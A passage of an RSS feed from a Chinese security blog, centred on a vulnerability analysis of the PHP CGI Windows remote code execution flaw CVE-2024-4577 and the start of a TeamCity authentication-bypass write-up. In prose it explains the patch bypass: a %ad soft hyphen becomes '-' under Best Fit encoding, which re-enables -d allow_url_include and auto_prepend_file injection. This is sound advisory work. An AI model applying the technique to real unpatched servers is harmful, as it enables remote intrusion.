src="https://wechat2rss.xlab.app/img-proxy/?k=a7b50e06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FgAcolpf06Wrc9eRvZUmicIWcichwNSOeY33BsGrqcFLJreQgRnyqzWicJ9tdrLABX2mib0gqhY8fvl10YLLRHZgiaNA%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="outline: 0px;"><br style="outline: 0px;"/></p></section></section></section><p style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;"><br style="outline: 0px;"/></p><section style="color: rgb(76, 76, 76);font-size: 14px;outline: 0px;"><p style="outline: 0px;"><span style="outline: 0px;color: rgb(54, 150, 235);"><strong style="outline: 0px;"><br style="outline: 0px;"/></strong></span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(54, 150, 235);"><strong style="outline: 0px;">关于安全范儿沙龙</strong></span></p><p style="outline: 0px;text-indent: 2.1786em;">由字节跳动安全与风控团队发起，用沙龙形式搭建行业桥梁，与安全从业人员进行技术交流、实践分享。帮助安全人才成长，共同完善生态，促进安全行业的有序运营和蓬勃发展。拓宽安全技术视野，亦是丰富美好生活。</p><p style="outline: 0px;text-indent: 2.1786em;"><br style="outline: 0px;"/></p><section style="outline: 0px;line-height: 1.8;text-align: center;"><span style="outline: 0px;color: rgb(54, 150, 235);"><strong style="outline: 0px;">Empower security, Enrich life</strong></span></section></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://mp.weixin.qq.com/s/5Dmy-EdLZuagZSfRDLc3Fw?from=industrynews%5cx26amp;version=4.1.26.6024%5cx26amp;platform=win%5cx26amp;nwr_flag=1#wechat_redirect">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a9a05327&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488664%26idx%3D1%26sn%3Dc8c57643a924ebd60b71ff011e5aa1e0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Jun 2024 17:09:00 +0800</pubDate>
    </item>
    <item>
      <title>关于PHP CGI Windows平台远程代码执行漏洞（CVE-2024-4577）简要说明</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488613&amp;idx=1&amp;sn=398d222564f226ed9ea6603112180e76</link>
      <description>关于PHP CGI Windows平台远程代码执行漏洞（CVE-2024-4577）简要说明</description>
      <content:encoded><![CDATA[<p>
原创 <span>key</span> <span>2024-06-07 19:40</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>关于PHP CGI Windows平台远程代码执行漏洞（CVE-2024-4577）简要说明</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=11010260&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57PU6kZuJ4WGHZjebottiasJusocOsictCZFwe573Fbibn9ibibfosbWt9zzBeVV38mwHvlxe8UFP87Yy0A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">漏洞信息</span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><br/></p><section style="margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">2024年06月06日DEVCORE组织发布了漏洞通报，称其报送了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">PHP CGI Windows平台远程代码执行</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">漏洞（CVE-2</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">024-4577</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">）</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">。并且PHP官方也在当天发布了修</span></span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">复版本。</span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">漏洞的本质就是基于</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">CVE-2012-182</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">3</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">的基础上结合Windows字符编码的Best Fit特性，对其已发布的补丁进行绕过，从而继续在PHP- CGI环境下进行参数拼接，达到远程代码执行的目的。</span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">该漏洞要求Windows操作系统需为：繁体中文、简体中文、日文，这三个其中之一的语言版本。</span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">漏洞影响版本如下（XAMPP默认安装的配置下可以直接利用）：</span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;word-break: break-all;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;">        PHP 8.3 &lt; 8.3.8<span style="font-family: Cambria;font-variant: normal;text-transform: none;">              <br/></span>        PHP 8.2 &lt; 8.2.20<span style="font-family: Cambria;font-variant: normal;text-transform: none;">              <br/></span>        PHP 8.1 &lt; 8.1.29</span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">简要说明</span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">CVE-2012-1823</strong></p><section style="margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">早在2017年</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">P</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">HITHON</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">师傅已经对</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">C</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">VE-2012-1</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">823</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">漏洞进行过分析和文章分享。</span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">简要概括就是，当将PHP的环境设为CGI模式下运行时，请求参数部分就会带入作为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">php-cgi.exe</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">的参数，因此可以通过</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">-d</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">来设定参数</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">allow_url_include</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">、</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">auto_prepend_file</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">（勾起N年前学文件包含的回忆），将完整的参数信息（需要URL编码）带入到请求参数中，发送请求达到代码执行的目的。</span>    </span><o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="159" data-backw="560" data-imgfileid="100004960" data-ratio="0.2833333333333333" width="560.010009765625" data-type="jpeg" data-w="1080" height="158.42999267578125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d66d8ed8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57PU6kZuJ4WGHZjebottiasJuY8Umusib1R6ooYqgE5ELaIpZSgwatSS8cIJ7GRVsD6vehE27jkdvkJg%2F640%3Fwx_fmt%3Djpeg"/></span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">CVE-2024-4577</strong></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">补丁分析</span></strong></p><p><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">根据</span>PHP漏洞修复的Commit提交信息<span style="font-family: Cambria;font-variant: normal;text-transform: none;">来看，在</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">cgi_main.c</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">文件中，原有的逻辑新增了对Windows环境的单独逻辑判断，并且其中对请求参数使用了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">WideCharToMultiByte</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">函数，即宽字节的转换。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="320" data-backw="560" data-imgfileid="100004959" data-ratio="0.5722222222222222" width="560.010009765625" data-type="jpeg" data-w="1080" height="321.1100158691406" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d70560ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57PU6kZuJ4WGHZjebottiasJuuRwsMUXNAqZLhl7fCs8xKn7WKwQbcpdjM5OanzDVJPJx5RksdibIfmg%2F640%3Fwx_fmt%3Djpeg"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">因此结合已知的漏洞信息，确认此处是编码问题导致的。也就表示我们需要绕过的逻辑是</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">if(*p == &#39;-&#39;)</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，即请求参数第一个字符不能为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">-</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">结合补丁信息我们知道在带入参数拼接前，宽字节会被转换。所以，以简体中文的Windows版本（</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">在Windows中使用Page 936表示GBK编码</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">）为例，对应的编码表信息，我们可以在该链接中找到：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt" target="_blank">https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt</a></span>    </span><o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="283" data-backw="504" data-imgfileid="100004958" data-ratio="0.5608465608465608" width="504.010009765625" data-type="jpeg" data-w="756" height="282.6700134277344" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d8b02257&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57PU6kZuJ4WGHZjebottiasJuHtNyLVyP9q2gMnadflPrtiae9icLX5GzPHq87pibWxYFqOUoscqMxBooQ%2F640%3Fwx_fmt%3Djpeg"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">通过搜索我们得知</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">0x00ad</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">可以被解码为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">0x002d</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">也就是上文中提到的</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">-</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">符号。</span></span></p><p><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞复现</span></strong></p><section style="margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">下载安装XAMPP，配置好Apache的配置文件</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">httpd-xampp.conf</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，使得其以CGI模式来运行</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">.php</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">文件。</span></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="232" data-backw="541" data-imgfileid="100004956" data-ratio="0.4288354898336414" width="541.010009765625" data-type="png" data-w="541" height="232.0" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4468bbb6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PU6kZuJ4WGHZjebottiasJusrsqiaYt1wibGia2icN80QFLW6icNwxBZp1cwubia9QHwhtYsTS4zsyvg5iag%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">基于</span>CVE-2012-1823<span style="font-family: Cambria;font-variant: normal;text-transform: none;">将请求参数中的</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">-</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">替换为</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">%ad</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">，带入尝试发现漏洞成功复现，也就验证了我们之前的分析。</span>    </span><o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="326" data-backw="560" data-imgfileid="100004957" data-ratio="0.5828571428571429" width="560.010009765625" data-type="jpeg" data-w="700" height="326.4100036621094" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b590eb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57PU6kZuJ4WGHZjebottiasJu2Y1ibdMQ5oPwRARQeT2XD088wNElXxzWWvWL363x93G8FS7fo7hlOZg%2F640%3Fwx_fmt%3Djpeg"/></span></p><p><span style="font-variant: normal;text-transform: none;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">总结</span><span style="font-family: 宋体;font-variant: normal;text-transform: none;font-size: 18px;"></span></p><section style="margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">漏洞场景实际有两种，这点在DEVCORE的漏洞通报中也提到了。由于漏洞影响面积较大，因此本文仅做第一点场景的说明。</span></section><section style="margin-bottom: 16px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">抛开漏洞场景，这个漏洞启发了我，要熟悉了解各类机制、特性，组合起来就可能导致某些已修复的漏洞被再次利用。</span></section><p><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">最后引用猪猪侠的话：知识面决定攻击面。</span></p><section style="margin-bottom: 16px;"><span style="font-size: 20px;font-family: 宋体;font-variant: normal;text-transform: none;"><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-size: 20px;font-family: 宋体;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;"><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-size: 20px;font-family: 宋体;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">参考链接</span></strong></span></strong></span><strong style="font-size: 20px;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: 宋体;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;outline: 0px;visibility: visible;"><strong style="outline: 0px;font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;visibility: visible;"></strong></span></strong></section><section style="margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">DEVCORE组织发布的漏洞通报：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/" target="_blank">https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/</a></span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">PHP漏洞修复的Commit提交信息：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798" target="_blank">https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798</a></span></span></section><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style="font-size: 18px;"><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;">PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析：</span><span style="font-size: 18px;font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html" target="_blank">https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html</a></span>    </span><o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488613">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=88854e56&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488613%26idx%3D1%26sn%3D398d222564f226ed9ea6603112180e76%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 07 Jun 2024 19:40:00 +0800</pubDate>
    </item>
    <item>
      <title>TeamCity身份验证绕过漏洞分析（CVE-2024-23917、CVE-2024-27198、CVE-2024-27199）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488598&amp;idx=1&amp;sn=cdf765f5c51977504733f815ae5dd64b</link>
      <description>攻击者可以精心设计一个 URL，以避免所有身份验证检查，从而允许未经身份验证的攻击者直接访问需要身份验证的端点。未经身份验证的远程攻击者可以利用此漏洞完全控制易受攻击的 TeamCity 服务器，并泄露服务器上有限数量的敏感信息等。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2024-03-27 18:16</span> <span style="display: inline-block;">浙江</span>
</p>

<p>攻击者可以精心设计一个 URL，以避免所有身份验证检查，从而允许未经身份验证的攻击者直接访问需要身份验证的端点。未经身份验证的远程攻击者可以利用此漏洞完全控制易受攻击的 TeamCity 服务器，并泄露服务器上有限数量的敏感信息等。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=558201f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSp3od5mKjjASq3Tq3JbjwTaJOnVuxdRUJApqYzuMJtOdBicUIuAacGIXA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;background-color: rgb(255, 255, 255);text-align: left;">1. 前言</span></p><p><span style="outline: 0px;font-size: 18px;visibility: visible;"><strong style="outline: 0px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;visibility: visible;">1-1. 简介</strong></span></p><p><span style="mso-bookmark:前言;"><span style="mso-bookmark:简介;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">TeamCity是一款由JetBrains开发的持续集成和持续交付（CI/CD）服务器。它提供了一个强大的平台，用于自动化构建、测试和部署软件项目。TeamCity支持多种编程语言和开发环境，并提供了丰富的功能和工具，帮助开发团队构建和交付高质量的软件。</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:前言;"><span style="mso-bookmark:简介;"><span 